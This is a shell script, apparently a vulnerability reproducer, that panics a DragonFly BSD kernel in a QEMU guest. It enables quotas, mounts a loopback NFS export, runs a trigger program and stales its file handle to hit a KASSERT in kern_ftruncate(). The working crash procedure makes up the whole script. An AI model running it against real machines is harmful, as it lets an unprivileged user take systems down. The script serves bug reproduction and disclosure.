DF-0001 / run.sh
#!/bin/sh # DF-0001 — reproduce the kern_ftruncate() KASSERT panic. # # This is a multi-step choreography (not a single binary) because the bug # requires three runtime preconditions the stock clean-install guest lacks: # (1) vfs.quota_enabled=1 (sysctl is CTLFLAG_RD -> loader tunable -> reboot) # (2) a filesystem whose VOP_GETATTR can return a nonzero error. Local # hammer2/UFS GETATTR is effectively infallible, so we mount a loopback # NFS export and stale the client's open-fd filehandle server-side. # (3) the kernel must be built with options INVARIANTS (X86_64_GENERIC IS, # verified: the panic strings are in /boot/kernel/kernel). On a non- # INVARIANTS kernel the KASSERT compiles to a no-op and nothing happens. # # Run from the host. Uses dfbsd-qemu/vm.sh. The guest is single-tenant; this # script will REBOOT the guest once (to enable quota) and will PANIC it at the # end (that is the demonstration). Back out with: dfbsd-qemu/vm.sh reset set -eu cd "$(dirname "$0")" HERE="$(pwd)" ROOT="$(cd "$HERE/../../.." && pwd)" # repo root VM="$ROOT/dfbsd-qemu/vm.sh" CFG="$ROOT/dfbsd-qemu/config" echo "==> [0/6] precondition: guest up + INVARIANTS kernel" $VM status $VM run_root 'strings /boot/kernel/kernel | grep -q "VOP_GETATTR did.n.t return 0" \ && echo "INVARIANTS: KASSERT live in kernel" \ || { echo "INVARIANTS OFF on this kernel — KASSERT is a no-op, panic NOT reachable"; exit 3; }' echo "==> [1/6] enable vfs.quota_enabled (loader tunable) + reboot (non-reverting)" $VM run_root 'grep -q quota_enabled /boot/loader.conf || echo "vfs.quota_enabled=\"1\"" >> /boot/loader.conf; sync' # non-reverting reboot (down/up, NOT reset which would revert the snapshot) ( $VM down >/dev/null 2>&1 ) || { P=$(cat "$ROOT/dfbsd-qemu/vm.pid"); kill -9 "$P" 2>/dev/null; } sleep 3 $VM up 90 $VM run_root 'test "$(sysctl -n vfs.quota_enabled)" = "1" || { echo "quota not enabled"; exit 4; }' echo "==> [2/6] build trigger + stand up loopback NFS server + soft mount" $VM run_user 'mkdir -p poc/DF-0001' scp -F "$CFG" -q "$HERE/estale_trig.c" dfbsd-maxx:poc/DF-0001/ $VM run_user 'cd poc/DF-0001 && cc -O0 -g -o estale_trig estale_trig.c' $VM run_root ' mkdir -p /export; chmod 777 /export printf "/export -maproot=root -network 127.0.0.0 -mask 255.0.0.0\n" > /etc/exports rpcbind 2>/dev/null; sleep 1 mountd 2>/dev/null; sleep 1 nfsd -t -u -n 4 2>/dev/null; sleep 2 umount -f /mnt 2>/dev/null; mkdir -p /mnt mount_nfs -U -s -x 1 -t 1 \ -o acregmin=0,acregmax=0,acdirmin=0,acdirmax=0 127.0.0.1:/export /mnt dd if=/dev/zero of=/export/estale_target bs=4096 count=1 2>/dev/null chown maxx:maxx /export/estale_target; chmod 644 /export/estale_target ls -l /mnt/estale_target ' echo "==> [3/6] launch estale_trig as maxx (opens fd, holds fixed filehandle)" $VM run_user 'cd poc/DF-0001 && nohup ./estale_trig /mnt/estale_target > /tmp/df0001.out 2>&1 & echo "pid $!"' sleep 3 $VM run_user 'cat /tmp/df0001.out' echo "==> [4/6] invalidate the fd filehandle SERVER-SIDE (delete + recreate -> stale FH)" $VM run_root 'rm -f /export/estale_target; sync; touch /export/estale_target; chown maxx:maxx /export/estale_target; chmod 644 /export/estale_target; echo handle_invalidated' echo "==> [5/6] wait for the panic (ftruncate -> GETATTR on stale FH -> KASSERT)" panic=0 for i in $(seq 1 12); do sleep 4 st=$($VM status 2>/dev/null || echo down) echo " [t+$((12+i*4))s] status=$st" [ "$st" = "down" ] && { panic=1; break; } done echo "==> [6/6] result" if [ "$panic" = "1" ]; then echo "PANIC reproduced. Signature from $ROOT/dfbsd-qemu/boot.log:" awk '/panic: kern_(f)?truncate/{p=1} p{print} /^db> /{p=0}' "$ROOT/dfbsd-qemu/boot.log" | tail -14 echo echo ">>> REPRODUCED: kern_ftruncate KASSERT panic (CWE-617). <<<" echo ">>> Guest is now in DDB. Recover with: $VM reset" exit 0 else echo "No panic observed within the window." exit 1 fi |